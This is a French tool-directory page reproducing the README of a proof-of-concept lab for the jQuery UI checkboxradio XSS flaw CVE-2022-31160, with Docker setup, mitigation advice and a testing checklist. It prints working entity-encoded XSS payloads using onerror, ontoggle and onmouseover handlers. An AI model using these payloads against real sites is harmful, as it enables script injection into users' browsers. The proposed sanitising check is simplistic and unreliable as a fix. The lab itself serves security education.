Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
jquery-cve-2022-31160 — Preuve de concept (PoC) XSS jQuery | Kitploit
Outils/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebCTFApprentissage et Éducation
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

Preuve de concept (PoC) XSS jQuery

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Démonstration de la vulnérabilité CVE-2022-31160 de jQuery UI

Security Badge jQuery UI CVE Docker

Ce projet illustre la vulnérabilité du widget Checkboxradio de jQuery UI (CVE-2022-31160) qui permet le décodage d'entités HTML lors des opérations de rafraîchissement du widget, pouvant conduire à des attaques de type Cross-Site Scripting (XSS).

🚨 Avertissement de sécurité

⚠️ Ce projet contient des charges utiles XSS fonctionnelles à des fins éducatives et de recherche uniquement.

  • Ne pas utiliser sur des systèmes de production
  • Utiliser uniquement dans des environnements contrôlés
  • Destiné à la recherche et à l'éducation en sécurité

📋 Table des matières

  • Aperçu de la vulnérabilité
  • Démarrage rapide
  • Structure du projet
  • Démonstrations
  • Détails techniques
  • Utilisation de Docker
  • Analyse de sécurité
  • Mitigation
  • Contribuer
  • 🔍 Aperçu de la vulnérabilité

    Détails de CVE-2022-31160

    • Composant : Widget Checkboxradio de jQuery UI
    • Versions affectées : jQuery UI ≤ 1.13.1
    • Type de vulnérabilité : Cross-Site Scripting (XSS) via le décodage d'entités HTML
    • Score CVSS : 6.1 (Moyen)
    • Première publication : 20 juillet 2022

    Cause racine

    Lorsqu'un widget checkboxradio est initialisé sur une entrée contenue dans une étiquette (<label>), appeler .checkboxradio("refresh") sur le widget entraîne un décodage erroné des entités HTML dans le contenu de l'étiquette. Cela peut convertir du contenu malveillant encodé de manière sécurisée en JavaScript exécutable.

    Vecteur d'attaque

    root@kitploit:~
    <!-- Contenu encodé sécurisé -->
    <label for="checkbox">
      Texte &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
      <input type="checkbox" id="checkbox">
    </label>
    
    <!-- Après .checkboxradio("refresh") -->
    <label for="checkbox">
      Texte 
      <input type="checkbox" id="checkbox">
    </label>
    

    🚀 Démarrage rapide

    Prérequis

    • Docker installé sur votre système
    • Navigateur web avec outils de développement
    • Compréhension de base des concepts de sécurité web

    Construction et exécution

    root@kitploit:~
    # Cloner ou naviguer dans le répertoire du projet
    cd jquery-cve-2022-31160
    
    # Construire l'image Docker
    docker build -t jquery-cve-2022-31160 .
    
    # Exécuter le conteneur
    docker run -p 3000:3000 jquery-cve-2022-31160
    

    Accéder aux démonstrations

    Une fois le conteneur en cours d'exécution, accédez à :

    • Démo simplifiée du sondage : http://localhost:3000/survey
    • URL alternative du sondage : http://localhost:3000/simplified-survey

    📁 Structure du projet

    root@kitploit:~
    jquery-cve-2022-31160/
    ├── README.md                    # Cette documentation
    ├── Dockerfile                   # Configuration du conteneur Docker
    ├── package.json                 # Dépendances Node.js
    ├── server.js                    # Serveur Express.js
    └── simplified-survey.html       # Démonstration type sondage
    

    🎯 Démonstrations

    1. Démo simplifiée du sondage (simplified-survey.html)

    URL : http://localhost:3000/survey

    • Interface de type sondage
    • Plusieurs scénarios de vulnérabilité
    • Retour visuel amélioré

    Fonctionnalités :

    • 4 options de cases à cocher différentes illustrant divers scénarios :
      • Option sûre : Aucune entité encodée (groupe de contrôle)
      • XSS Sécurité réseau : &lt;img src=x onerror=&quot;...&quot;&gt; - Exécution immédiate
      • XSS Sécurité mobile : &lt;details ontoggle=&quot;...&quot; open&gt; - Exécution immédiate
      • XSS Sécurité cloud : &lt;span onmouseover=&quot;...&quot;&gt; - Exécution interactive

    Outils d'analyse :

    • Journalisation détaillée dans la console
    • Alertes d'exécution XSS
    • Suivi pas à pas de la vulnérabilité

    🔧 Détails techniques

    Mécanisme de la vulnérabilité

    1. Initialisation du widget : jQuery UI crée le widget checkboxradio
    2. Stockage des entités HTML : Le contenu de l'étiquette avec entités encodées est traité
    3. Déclenchement du rafraîchissement : .checkboxradio("refresh") est appelé
    4. Décodage des entités : jQuery UI décode erronément les entités HTML
    5. Exécution XSS : Le contenu malveillant décodé devient exécutable

    Chemin de code affecté

    root@kitploit:~
    // Opération vulnérable
    $('#vulnerable-checkbox').checkboxradio();
    $('#vulnerable-checkbox').checkboxradio("refresh"); // Déclenche la vulnérabilité
    

    Charges utiles de test

    Les démonstrations incluent diverses charges utiles pour tester différentes méthodes d'exécution XSS :

    root@kitploit:~
    <!-- Sécurité réseau : XSS par événement d'erreur (exécution immédiate) -->
    &lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;
    
    <!-- Sécurité mobile : XSS par basculement details (exécution immédiate) -->
    &lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;
    
    <!-- Sécurité cloud : XSS interactif (interaction utilisateur requise) -->
    &lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Survoler pour déclencher]&lt;/span&gt;
    

    Méthodes d'exécution XSS

    1. Gestionnaire d'événement d'erreur (onerror)

    • Déclenchement : Immédiat lorsque l'élément est inséré dans le DOM
    • Fiabilité : Très élevée (échoue toujours avec src=x)
    • Cas d'utilisation : Démontre une exécution XSS immédiate
    • Risque réel : Élevé - contourne souvent les filtres d'entrée

    2. Gestionnaire d'événement de basculement details (ontoggle)

    • Déclenchement : Lorsque l'état ouvert/fermé de l'élément details change
    • Fiabilité : Très élevée (déclenchement garanti avec l'attribut open)
    • Cas d'utilisation : Exécution immédiate lors de l'insertion dans le DOM
    • Risque réel : Élevé - exécution fiable multi-navigateurs

    3. Gestionnaire d'événement de souris (onmouseover)

    • Déclenchement : Nécessite une interaction utilisateur (survol)
    • Fiabilité : Élevée lorsque l'utilisateur interagit
    • Cas d'utilisation : Scénarios d'ingénierie sociale
    • Risque réel : Moyen - nécessite l'engagement de l'utilisateur

    Pourquoi ces charges utiles fonctionnent

    Avantages des gestionnaires d'événements :

    • S'exécutent lorsque l'élément est inséré via innerHTML
    • Contournent les restrictions des balises <script>
    • Fonctionnent de manière cohérente dans différents navigateurs
    • Ne nécessitent pas de ressources externes à charger
    • Les déclencheurs basés sur l'état (comme ontoggle) sont très fiables

    Contournement d'encodage :

    • Les entités HTML (&lt;, &quot;) sont décodées par le rafraîchissement de jQuery UI
    • Transforme du contenu encodé sécurisé en code exécutable
    • Démontre un contournement de la désinfection en conditions réelles
    • Plusieurs vecteurs d'exécution montrent la diversité de la surface d'attaque

    🐳 Utilisation de Docker

    Construction de l'image

    root@kitploit:~
    docker build -t jquery-cve-2022-31160 .
    

    Exécution du conteneur

    root@kitploit:~
    # Exécution sur le port par défaut 3000
    docker run -p 3000:3000 jquery-cve-2022-31160
    
    # Exécution sur un port personnalisé
    docker run -p 8080:3000 jquery-cve-2022-31160
    
    # Exécution en arrière-plan
    docker run -d -p 3000:3000 jquery-cve-2022-31160
    
    # Exécution avec un nom personnalisé
    docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
    

    Gestion du conteneur

    root@kitploit:~
    # Lister les conteneurs en cours d'exécution
    docker ps
    
    # Arrêter le conteneur
    docker stop jquery-cve-2022-31160
    
    # Supprimer le conteneur
    docker rm jquery-cve-2022-31160
    
    # Supprimer l'image
    docker rmi jquery-cve-2022-31160
    

    🔬 Analyse de sécurité

    Évaluation de l'impact

    • Gravité : Moyenne (CVSS 6.1)
    • Complexité de l'attaque : Faible
    • Interaction utilisateur : Requise (interaction avec la page)
    • Portée : Inchangée (même origine)
    • Confidentialité : Faible impact
    • Intégrité : Faible impact
    • Disponibilité : Aucun

    Scénarios réels

    Cette vulnérabilité peut être exploitée dans des applications qui :

    1. Utilisent les widgets checkboxradio de jQuery UI
    2. Permettent le contenu généré par l'utilisateur dans les étiquettes
    3. Désinfectent le contenu en utilisant l'encodage d'entités HTML
    4. Rafraîchissent les widgets par programmation

    Méthodes de détection

    • Analyse statique : Rechercher les appels .checkboxradio("refresh")
    • Analyse dynamique : Surveiller les changements de contenu HTML lors des opérations du widget
    • Scan automatisé : Utiliser des outils capables de détecter les XSS basés sur le DOM
    • Tests manuels : Tester le rafraîchissement du widget avec des charges utiles encodées

    🛡️ Mitigation

    Actions immédiates

    1. Mettre à jour jQuery UI : Passer à la version 1.13.2 ou ultérieure
    2. Validation des entrées : Mettre en place une validation côté serveur appropriée
    3. Politique de sécurité du contenu : Déployer des en-têtes CSP restrictifs
    4. Encodage des sorties : Utiliser un encodage de sortie adapté au contexte

    Corrections de code

    root@kitploit:~
    // Avant le rafraîchissement, désinfecter ou valider le contenu
    function safeRefresh(element) {
        // Valider le contenu de l'étiquette avant le rafraîchissement
        const label = $(`label[for="${element.attr('id')}"]`);
        const content = label.html();
        
        // Vérifier la présence de contenu potentiellement dangereux
        if (content.includes('<') || content.includes('javascript:')) {
            console.warn('Contenu potentiellement dangereux détecté');
            return;
        }
        
        element.checkboxradio("refresh");
    }
    

    En-têtes de sécurité

    root@kitploit:~
    // En-têtes de sécurité Express.js
    app.use((req, res, next) => {
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('X-Frame-Options', 'DENY');
        res.setHeader('X-XSS-Protection', '1; mode=block');
        res.setHeader('Content-Security-Policy', "default-src 'self'");
        next();
    });
    

    📚 Valeur éducative

    Ce projet sert de ressource éducative pour :

    • Chercheurs en sécurité : Comprendre les vulnérabilités de manipulation du DOM
    • Développeurs web : Apprendre les considérations de sécurité de jQuery UI
    • Testeurs d'intrusion : Techniques pratiques d'exploitation XSS
    • Étudiants en sécurité : Analyse pratique de vulnérabilités

    🔗 Références

    • Entrée officielle CVE-2022-31160
    • Avis de sécurité jQuery UI
    • Aide-mémoire OWASP pour la prévention des XSS
    • CWE-79 : Cross-site Scripting

    📈 Liste de vérification des tests

    Lors de l'utilisation de cette démonstration :

    Préparation avant test :

    • Vérifier la version de jQuery UI (devrait être 1.13.0)
    • Tester avec les outils de développement ouverts (F12)
    • Accéder au sondage sur http://localhost:3000/survey
    • Vérifier la console pour les messages d'initialisation

    Test de vulnérabilité :

    • Cliquer sur le bouton "🔄 Rafraîchir les widgets"
    • Option Sécurité réseau : Vérifier l'exécution immédiate d'une alerte
    • Option Sécurité mobile : Vérifier l'exécution immédiate d'une alerte
    • Option Sécurité cloud : Survolez le texte "[Survoler pour déclencher]"
    • Vérifier la console pour une journalisation détaillée de la vulnérabilité

    Vérification de l'analyse :

    • Valider l'exécution de la charge utile XSS (3 types différents)
    • Tester la fonctionnalité de réinitialisation du widget
    • Vérifier que le retour visuel des cases à cocher fonctionne correctement

    🤝 Contribuer

    Les contributions sont les bienvenues ! Veuillez :

    1. Forker le dépôt
    2. Créer une branche de fonctionnalité
    3. Apporter vos modifications
    4. Ajouter la documentation appropriée
    5. Soumettre une pull request

    Domaines d'amélioration

    • Exemples de charges utiles supplémentaires
    • Outils d'analyse plus détaillés
    • Démonstrations visuelles améliorées

    ⚖️ Avis de non-responsabilité légal

    Ce logiciel est fourni à des fins éducatives et de recherche uniquement. Les auteurs et contributeurs :

    • Ne sont pas responsables de toute utilisation abusive de ce logiciel
    • N'encouragent ni n'approuvent des activités malveillantes
    • Recommandent une utilisation uniquement dans des environnements de test autorisés
    • Conseillent de suivre les pratiques de divulgation responsable

    📄 Licence

    Ce projet est fourni sous la licence MIT à des fins éducatives.


    Créé pour la recherche et l'éducation en sécurité | Utiliser de manière responsable | Signaler les vulnérabilités via les canaux appropriés

    Télécharger l’outil